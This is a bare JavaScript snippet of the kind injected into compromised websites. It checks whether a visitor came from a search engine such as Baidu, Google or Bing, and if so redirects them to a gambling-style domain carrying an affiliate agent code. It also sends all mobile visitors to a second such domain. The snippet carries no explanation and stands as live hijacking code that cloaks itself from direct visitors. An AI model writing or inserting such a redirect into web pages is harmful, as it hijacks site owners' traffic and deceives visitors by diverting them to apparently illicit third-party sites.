var regexp=/\.(haosou|baidu|so|google|yahoo|sougou|bing|youdao|soso|shenma|sm|sogou)(\.[a-z0-9\-]+){1,2}\//ig; var where =document.referrer; if(regexp.test(where)) { window.location.href="https://www.bobty35.com:9132/?agent_code=3326713" } if( /NOKIA|LG|Samsung|midp|wap|ucweb|wechat|MicroMessenger|Phone|Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent) ) { window.location = "https://www.bobty203.com:9132/?agent_code=3326713"; }